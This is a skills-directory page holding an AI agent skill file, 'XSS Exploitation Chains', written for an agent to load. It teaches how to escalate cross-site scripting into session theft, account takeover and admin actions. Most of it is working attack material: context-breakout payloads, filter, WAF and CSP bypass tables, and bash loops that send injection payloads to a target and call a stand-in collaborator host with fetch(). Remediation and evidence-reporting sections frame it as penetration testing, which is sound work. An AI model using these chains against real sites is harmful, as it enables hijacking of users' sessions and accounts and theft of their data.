Cross-site scripting exploitation beyond alert(1). Use when XSS is confirmed and the task is to turn it into session theft, account takeover, or admin action. Covers context breakout, CSP interaction, filter bypass, and the escalation paths that make XSS a real finding.
Installs into .claude/skills of the current project.
Sponsors
SSkills DirectorySkills Directory
Know which skills are safe — weekly.
SSkills DirectorySkills Directory
Is that skill safe to install?
Are you the author of Xss Exploitation Chains?
Add the live security badge to your README. It updates with every re-scan.
[](https://www.skillsdirectory.com/skills/harezadmm-xss-exploitation-chains)
---
name: xss-exploitation-chains
description: >-
Cross-site scripting exploitation beyond alert(1). Use when XSS is confirmed and the task is
to turn it into session theft, account takeover, or admin action. Covers context breakout,
CSP interaction, filter bypass, and the escalation paths that make XSS a real finding.
---
# SKILL: XSS Exploitation Chains
> **AI LOAD INSTRUCTION**: `alert(1)` is a proof of concept, not a finding. The finding is what
> the XSS lets you *do* — steal a session, take over an account, or act as an admin. This skill
> assumes a reflected/stored injection is already confirmed and covers **context breakout**,
> **filter and CSP interaction**, and **escalation**. Base models produce a payload list; the
> value here is the escalation decision tree.
## 0. RELATED ROUTING
- [csp-bypass-advanced](../csp-bypass-advanced/SKILL.md) — when CSP is the blocker
- [csrf-cross-site-request-forgery](../csrf-cross-site-request-forgery/SKILL.md) — pairing XSS with CSRF tokens
- [dangling-markup-injection](../dangling-markup-injection/SKILL.md) — no-script exfiltration
- [xss-cross-site-scripting](../xss-cross-site-scripting/SKILL.md) — the base technique module
- [attack-cache-poison](../attack-cache-poison/SKILL.md) — cache-based side channels
- [injection-checking](../injection-checking/SKILL.md) — the P1 router
---
## 1. CONTEXT BREAKOUT FIRST
The payload depends entirely on **where** the input lands. Determine the context before choosing
anything — a payload that works in HTML text fails in a quoted attribute.
| Context | What you must break out of | Shape of payload |
|---|---|---|
| HTML text | nothing — you are already in markup | `<img src=x onerror=…>` |
| Attribute, unquoted | whitespace terminates the value | `<img src=x onerror=…>` (space-separated) |
| Attribute, double-quoted | `"` then a new tag | `" onmouseover=… x="` or `"><img …>` |
| Attribute, single-quoted | `'` then a new tag | `' onmouseover=… x='` |
| Inside `<script>` | the JS string, then the statement | `';alert(1)//` or `</script><img …>` |
| Inside a JS string in an event handler | quote + statement | `';alert(1)//` |
| Inside `<style>` / CSS | the CSS context | `</style><img …>` |
| Inside an HTML comment | the comment terminator | `--><img …>` |
| Inside `<textarea>` / `<title>` | the closing tag (raw text elements) | `</textarea><img …>` |
| JSON response consumed by JS | the JSON string | `</script><img …>` (needs `</script>` break) |
| URL / `href` attribute | `javascript:` is often blocked | `java\nscript:` , `data:text/html,…` |
**Verification discipline:** after injecting, confirm in the DOM inspector *where* your input
landed, and whether it was HTML-encoded. Many "XSS findings" are encoded output that never
executes — that is the most common false positive in this class.
---
## 2. FILTER AND WAF BYPASS
| Filter | Bypass |
|---|---|
| `<script>` blocked | `<img>`, `<svg>`, `<body>`, `<details>`, `<video>` with event handlers |
| `on*` blocked | `<svg><animate onbegin=…>`, `<marquee onstart=…>`, `<details ontoggle=…>` |
| `alert` blocked | `confirm`, `prompt`, `print()`, `top['al'+'ert']`, `self[`al`+`ert`]` |
| parentheses blocked | `` alert`1` `` (tagged template), `throw onerror=eval` |
| quotes blocked | backticks, `String.fromCharCode`, no-quote attribute syntax |
| spaces blocked | `/` as separator, `%09`, `%0a`, comment `/**/` |
| `javascript:` blocked | `<a href="jav	ascript:…">`, entity-encoded scheme |
| keyword blacklist | case variation, HTML entities, JS comments inside keywords |
| length limit | external script load, or `import()` from a short stub |
| encoding strips HTML entities | double-encode, or use a context that is not entity-decoded |
| DOM-based sink | no server filter applies — look for `innerHTML`, `eval`, `document.write`, `location` |
**The highest-value move is finding an unfiltered context rather than defeating a filter.**
Filters are usually applied at the perimeter and often bypassed by a different sink on the same
origin.
---
## 3. ESCALATION — WHAT XSS BUYS YOU
| Target | Mechanism | Requirement |
|---|---|---|
| **Session theft** | read `document.cookie` | cookie must be readable — **not** `HttpOnly` |
| **Account takeover (token in response)** | fetch the profile endpoint, extract a token | same-origin read is automatic |
| **Password change** | forge the change-password request with the victim's session | often needs the current password, or a flawed flow |
| **Email change → reset** | change the account email, then trigger reset | leads to full takeover without knowing the password |
| **CSRF token bypass** | read the token from the DOM and submit it | **this is the main reason XSS and CSRF are graded separately** |
| **Admin action (stored XSS)** | the payload fires in the admin's session | highest impact — arbitrary privileged action |
| **Service worker install** | register a worker, intercept all future requests | persists after the tab closes |
| **Exfiltration** | `fetch`/`Image`/WebSocket to an attacker endpoint | needs egress and no CSP `connect-src` restriction |
| **Internal network access** | the victim's browser is inside; you are outside | blind SSRF-class reachability |
**`HttpOnly` on the session cookie does not neutralise XSS.** If the token is retrievable via an
endpoint, or the account can be modified, the session cookie is irrelevant. Report the *escalation*,
not the cookie attribute.
---
## 4. CSP — THE REAL CONSTRAINT
Check the policy before building an exfiltration chain. A strict CSP does not stop the XSS; it
stops your *output*.
```
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-…'; connect-src 'self'
```
| Directive | If it blocks you |
|---|---|
| `script-src` without `'unsafe-inline'` | inline payload will not run — need a script gadget or JSONP endpoint on an allowed origin |
| `script-src` with a CDN | find a JSONP callback or an Angular/library gadget on that CDN |
| `connect-src 'self'` | exfiltrate via a same-origin redirect, or use a form/`<a>` navigation instead of `fetch` |
| `img-src 'self'` | use DNS prefetch, `ping=`, or a same-origin endpoint as the channel |
| `form-action 'self'` | post to a same-origin endpoint that redirects offsite |
| `base-uri` absent | inject `<base>` to hijack relative script URLs — **a common and cheap bypass** |
**Missing `base-uri` and a `script-src` that allows any trusted origin are the two most common
CSP weaknesses.** Check both before concluding CSP blocks the finding. See
[csp-bypass-advanced](../csp-bypass-advanced/SKILL.md) for the full set.
---
## 5. BLIND AND STORED VARIANTS
| Variant | How to confirm | Escalation |
|---|---|---|
| Stored (fires for other users) | inject a callback, wait for the hit | admin session is the prize |
| Blind (fires in a back-office view) | OAST callback, then correlate | as above, with less control over timing |
| DOM-based | trace the source in client JS | no server-side filter applies |
| Self-XSS | requires victim interaction | usually **not** a finding — say so |
| Mutation/`mXSS` | survives sanitisation on re-parse | defeats DOMPurify-class sanitisers |
**Self-XSS is not a vulnerability unless it can be chained with a social-engineering or
UI-redress step.** Reporting it alone damages credibility.
---
## 6. EVIDENCE STANDARD
| Item | Why |
|---|---|
| the exact injection point and the request that carries it | reproducibility |
| **the DOM context** your payload landed in, and proof it is unencoded | separates real XSS from encoded output |
| the payload that executed, with the browser used | reproducibility |
| **the escalation achieved** — session, action, or data | `alert(1)` alone is not a finding |
| the CSP in force and how it affected the chain | often a separate finding |
| the cookie attributes (`HttpOnly`, `SameSite`) | documents the compensating control |
| a screenshot/video of execution | the clearest artefact for the client |
---
## 7. REMEDIATION REFERENCE
1. **Context-aware output encoding** — the correct encoding differs per context (HTML, attribute, JS, CSS, URL). A single generic escaper is the root cause of most XSS.
2. **Do not rely on blocklists** — allowlist the characters and syntax you need.
3. **CSP as defence in depth, not the fix** — a strict nonce-based policy with `base-uri 'none'`, `object-src 'none'`, and no wildcard origins meaningfully reduces impact; it does not close the injection.
4. **`HttpOnly` + `SameSite`** — removes the easy session-theft path, though not the token-endpoint path.
5. **Trusted Types** — the most effective structural control against DOM XSS where it can be adopted.
6. **Sanitise on the server, with a maintained library**, and re-validate the output of any sanitiser (mXSS).
7. **Treat stored XSS in an admin view as critical** — report it at the impact level, not the injection level.
---
## 8. EXECUTION PRIMITIVES
Chains need a working **context break**, then a working **payload**, then a **reachable sink** that
executes in the victim's session. Each block below measures one of the three.
### 8.1 Context detection — what are you actually inside?
```bash
# reflect a probe and inspect the BYTES AROUND it, not the page
P='zzq"</title><svg/onload=1>zzq'
curl -sS --get --data-urlencode "q=$P" "https://target.tld/search" -o /tmp/r
grep -o "..........zzq..........." /tmp/r | head -5
# what encloses the reflection?
python3 - <<'PY'
h=open('/tmp/r',encoding='utf-8',errors='replace').read()
i=h.find('zzq')
print(repr(h[max(0,i-160):i+160]))
PY
```
The **six characters of context** on each side decide the payload. Inside `href="..."` you need a
scheme or a quote break; inside `"` in a script you need a string terminator plus a statement break;
inside a text node you need a tag. Guessing the context is the single most common reason a working
payload "doesn't work".
### 8.2 Parsing differential probe (the fastest filter check)
```bash
# if the parser sees DIFFERENT structure than the filter, this pair diverges
for P in '<b>zz</b>' '<b>zz</b>' '<b>zz' 'zz</b>' '<x/onmouseover=1>zz'; do
R=$(curl -sS --get --data-urlencode "q=$P" "https://target.tld/search")
echo "$R" | grep -o '.\{12\}zz.\{12\}' | head -2
echo " --- raw: $(echo "$R" | grep -c 'zz') occurrences, encoded: $(echo "$R" | grep -c '<')"
done
```
If `<b>zz</b>` renders as literal text while `zz</b>` closes something, the filter is decoders-weak
and the parser is doing something the filter did not model. **That divergence is the finding's
mechanism**, and it is what mXSS and mutation classes exploit.
### 8.3 DOM sink enumeration in a real browser
```bash
cat > /tmp/sinks.html <<'HTML'
<script>
const SINKS = ['innerHTML','outerHTML','insertAdjacentHTML','document.write','eval','Function',
'setTimeout','setInterval','src','href','action','srcdoc','data','location','location.href',
'location.assign','location.replace','postMessage','DOMParser','createContextualFragment'];
window.__hits = [];
for (const s of SINKS) {
let proto, ctx;
try { proto = s.includes('.') ? Object.getPrototypeOf(document) : Element.prototype; } catch(e){}
try {
const d = Object.getOwnPropertyDescriptor(s.includes('location') ? Location.prototype : Element.prototype, s.split('.').pop());
if (d && d.set) window.__hits.push(s);
} catch(e) {}
}
console.log('settable sinks:', JSON.stringify(window.__hits));
</script>
HTML
echo "serve /tmp/sinks.html same-origin (or via the target's own JS context) and read console"
# practical alternative: grep the app's bundles for sink calls
curl -sS https://target.tld/app.js | grep -nE '\.(innerHTML|outerHTML|insertAdjacentHTML|write)\s*\(|eval\(|new Function\(' | head -20
```
Server-side `innerHTML` mention means nothing; you need the **source that reaches it**. Grep the
bundle, then confirm in the browser with the sink overridden to log its caller:
```javascript
// paste in the console BEFORE triggering the flow - this traces the real call path
const _i = Object.getOwnPropertyDescriptor(Element.prototype,'innerHTML');
Object.defineProperty(Element.prototype,'innerHTML',{set(v){console.trace('SINK innerHTML',v);return _i.set.call(this,v);},get:_i.get});
```
### 8.4 Working payload per context, with the OOB check
```bash
# a callback proves execution even when you cannot see the render
COLLAB="https://<your-collab-host>/x"
for P in \
"\"</script><script src=$COLLAB></script>" \
"javascript:fetch('$COLLAB')" \
"'-alert(1)-'" \
"<svg/onload=fetch('$COLLAB')>" \
"<img src=x onerror=fetch('$COLLAB')>" \
"\"><img src=x onerror=fetch('$COLLAB')>" ; do
curl -sS --get --data-urlencode "q=$P" "https://target.tld/search" -o /dev/null
echo "sent: $P" # then CHECK the collaborator for a hit before believing it
done
```
**A payload that is reflected is not a payload that executed.** Only a collaborator interaction (or a
visible JS effect in your own browser session) confirms execution. `fetch` to your host is the
lowest-friction confirmation available.
### 8.5 CSP analysis before you spend time on payloads
```bash
curl -sS -D- -o /dev/null "https://target.tld/" | grep -i '^content-security-policy'
# store it, then check for the exploitable shapes
CSP=$(curl -sS -D- -o /dev/null "https://target.tld/" | grep -i '^content-security-policy' | cut -d' ' -f2-)
echo "$CSP" | grep -qi "unsafe-inline" && echo "INLINE ALLOWED -> script tag executes"
echo "$CSP" | grep -qi "unsafe-eval" && echo "EVAL ALLOWED -> string-to-code sinks work"
echo "$CSP" | grep -qiE "script-src[^;]*\*" && echo "WILDCARD -> any host is a script source"
echo "$CSP" | grep -qiE "script-src[^;]*http:" && echo "http: ALLOWED -> mixed-content pivot on http hosts"
echo "$CSP" | grep -oE "nonce-[A-Za-z0-9+/=]+" | head -3
echo "$CSP" | grep -oiE "'self'|'none'|data:|blob:" | sort -u
# find the JSONP/callback endpoints the allowlist trusts - those are the bypass
curl -sS "https://target.tld/" | grep -oE 'src="https?://[^"]+\.js[^"]*"' | sort -u | head -20
```
Presence of a CSP is not a mitigation and absence is not a finding; the **allowlist contents** are
what matter. A policy that trusts a host you can influence (a JSONP endpoint, an upload bucket, a
CDN with a permissive CORS) is bypassable, and that bypass is the chain.
### 8.6 DOM XSS reachability with a real URL
```bash
# many DOM sinks read from the fragment, which is never sent to the server - so no server-side filter applies
for P in \
'#<img src=x onerror=fetch("https://COLLAB/x")>' \
'#javascript:fetch("https://COLLAB/x")' \
'#%3Cimg%20src%3Dx%20onerror%3Dfetch(%22https%3A%2F%2FCOLLAB%2Fx%22)%3E' ; do
echo "open: https://target.tld/page$P"
done
```
The fragment is the highest-yield DOM-XSS source precisely because it bypasses every server-side
control. Confirm by watching for the collaborator callback **and** by checking the sink (8.3) fires.
### 8.7 Stored/blind: prove delivery to a second principal
```bash
# write as principal A, read as principal B (both yours), and watch the collaborator
curl -sS -X POST "https://target.tld/api/comments" \
-H "Authorization: Bearer $TOKEN_A" -H 'Content-Type: application/json' \
-d '{"body":"<img src=x onerror=fetch("https://COLLAB/x")>"}'
# then, as B, open the page that renders it and check the collaborator
curl -sS -H "Authorization: Bearer $TOKEN_B" "https://target.tld/comments" | grep -o 'onerror[^"]*'
```
Delivery to a **different principal** is what turns stored XSS from a self-XSS into a finding. A
payload that only fires in your own session is self-XSS and is not reportable.
### 8.8 WAF/filter differential with encoding
```bash
for E in '%3Cimg%20src%3Dx%20onerror%3D1%3E' '%253Cimg%253E' '%u003cimg%3e' \
'\u003cimg\u003e' '<img src=x onerror=1>' '<iMg SrC=x OnErRoR=1>' \
'<img/src=x/onerror=1>' '<<img>img src=x onerror=1>' ; do
C=$(curl -sS -o /tmp/w -w '%{http_code}' --get --data-urlencode "q=$E" "https://target.tld/search")
printf '%-34s http=%s reflected=%s\n' "$E" "$C" "$(grep -ci 'img\|onerror' /tmp/w)"
done
```
A row where the payload is reflected **and** the response status differs from the blocked rows is
your filter bypass. Send each variant on its own - batch them and you cannot tell which one worked.
---
## 9. CONFIRMING THE FINDING
| Step | Question | What it proves |
|---|---|---|
| 1 | Did your code **execute** (collaborator callback or observable JS effect), not merely appear in the response? | reflection is not execution; this is the line |
| 2 | Is the **context break** explicit and reproducible from a clean URL? | a payload that needs a hand-edited request is weaker evidence |
| 3 | Does it fire in a **browser session that is not yours** (a second principal, or the victim's session)? | self-XSS is not a finding |
| 4 | Is the CSP present, and did your payload work **despite** it or because there is none? | determines whether you are reporting XSS or a chain through an allowlisted host |
| 5 | For stored: was the payload **written by one principal and executed in another's session**? | the delivery is the finding |
| 6 | What does the payload **reach** - a session cookie, an account action, an admin view? | impact, which sets severity |
| 7 | Could the same effect be achieved by the victim clicking a link you sent (reflected) or must they visit a page (stored)? | determines the attack vector and the real-world exploitability |
**Execution in a second principal's session is the bar.** A reflected string, a `javascript:` URI you
did not click, or a payload that needs the fragment you typed are all weaker. State plainly which one
you have.
---
## 10. EVIDENCE STANDARD — EXECUTION PROOF
| Item | Why |
|---|---|
| The **exact URL or request** that triggers it, with the payload in its encoded form | the reproduction; an unencoded payload often fails when retried |
| The **collaborator interaction** (timestamp, source, token unique to your payload) or a screenshot of the JS effect | proves execution rather than reflection |
| The **response bytes around the reflection**, showing the context | explains why the payload works and lets the fix owner verify |
| For DOM XSS: the **sink** and the **source**, with the bundle line or a stack trace | server-side logs will never show it; the sink is the artefact |
| The **CSP header** as received, and how it was satisfied or bypassed | determines the fix and the true severity |
| For stored: **both principals** and the write/read requests, with the ownership stated | delivery to another user is what makes it a finding |
| The **impact reached** - the action performed or the data read in the victim context | severity justification |
| Which **browser and version** executed it, where behaviour is parser-dependent | mXSS and mutation classes vary by engine |
| **Negative control** - the same request with an inert payload does not execute | rules out a page that always runs script |
| A statement that the payload was **not left stored** in a third party's data | stored XSS cleanup is part of the test |
Report the **execution and the impact**: "the `q` parameter is reflected unencoded inside a JS string
on `/search`; `q=%27-alert(1)-%27` breaks out and executes, confirmed by a collaborator callback from
`/search`; the session cookie is `HttpOnly` so the payload instead performs an authenticated
`POST /account/email` on the victim's behalf", never "the site is vulnerable to XSS".
### False positives - do not report these
| Observation | Why it is not a finding |
|---|---|
| The payload appears in the response but never executes | reflection is not execution |
| It only fires in your own session on a page only you can write | self-XSS; no victim |
| The sink is reachable only via the developer console | not an attack path |
| A `javascript:` URI you never clicked | unproven |
| The context is inside a comment, `<noscript>`, or a JSON blob that is never parsed as HTML | no execution context |
| CSP blocks the payload and you report the reflection anyway | the control worked |
| The "bypass" needs an extension or a user disabling CSP | not a web attack |
| The page is a **debug/admin preview** only you can reach with a privileged account | no cross-user impact |
| DOM XSS whose source you controlled only through the console | no delivery vector |
| The payload executes in a sandboxed iframe with `allow-scripts` removed | no access to the parent |
| A self-hosted test page you wrote to prove the sink | tests your page, not the target |
| The application reflects HTML but sanitises on render in every browser | no execution |
**If it does not execute for a second principal, it is a hardening note.** Say so and move on.
---
## 11. REMEDIATION REFERENCE — STRUCTURAL CONTROLS
*The controls below are the structural fixes. The single most effective is contextual output encoding
at the point of output - everything else is defence in depth.*
1. **Contextual output encoding at the point of output** - encode for the exact context (HTML text, attribute, JS string, URL, CSS) using a maintained library, not a hand-rolled replacer. This is the fix that resolves the class rather than an instance.
2. **Use the framework's safe by default APIs** - modern templating engines and React/Vue/Angular escape by default; the finding is almost always a deliberate unsafe opt-in (`innerHTML`, `v-html`, `dangerouslySetInnerHTML`, `|safe`). Ban those in lint rules.
3. **Sanitise rich HTML with a maintained library, and re-validate its output** - DOMPurify-class sanitisers with an explicit allowlist, run on the server where possible, and tested against mutation (mXSS) classes because sanitising before a re-parse is the classic mXSS root cause.
4. **Adopt Trusted Types where it can be deployed** - it removes the string-to-sink path structurally and is the strongest available control against DOM XSS; a strict `require-trusted-types-for 'script'` policy makes the sink class unreachable.
5. **Deploy a CSP that does not rely on a bypassable allowlist** - nonces or hashes per response, `strict-dynamic`, no `unsafe-inline`/`unsafe-eval`, and audit every host in `script-src` for a JSONP endpoint or user-content origin that would make it a bypass.
6. **Treat DOM sinks as untrusted input boundaries** - never pass a URL fragment, `postMessage` payload, `document.referrer`, or `localStorage` value into `innerHTML`/`eval`/`location` without validation; the fragment is the highest-risk source because it never reaches the server.
7. **Set `HttpOnly`, `Secure`, and `SameSite` on session cookies** - it does not stop XSS but it removes the immediate cookie-theft payoff and forces the attacker into a slower, noisier path.
8. **Require re-authentication or a fresh factor for sensitive actions** - so an XSS payload cannot silently change an email, add a key, or transfer funds even when it executes.
9. **Validate and encode on input as well as output, for defence in depth** - and treat server-side validation as a signal, never as the control; encoding at output remains the requirement.
10. **Keep the client dependency tree current** - many real XSS findings are a known-vulnerable sanitiser, markdown renderer, or template engine one dependency deep; track advisories for the render path specifically.
11. **Test the negative cases in CI** - assert that a known payload in every user-controlled field is inert, that no new `innerHTML`/`eval` call appears without review, and that the CSP header is present and unchanged on the sensitive routes.
---
## 12. RELATED SIBLINGS - LOAD TOGETHER
- [xss-cross-site-scripting](../xss-cross-site-scripting/SKILL.md) - the long-form XSS playbook this chains from
- [csp-bypass-advanced](../csp-bypass-advanced/SKILL.md) - defeating the policy that constrains this chain
- [dangling-markup-injection](../dangling-markup-injection/SKILL.md) - exfiltration without script execution
- [csrf-cross-site-request-forgery](../csrf-cross-site-request-forgery/SKILL.md) - the action an XSS payload performs on the victim's behalf
- [clickjacking](../clickjacking/SKILL.md) - the other way to make a victim act, when script cannot run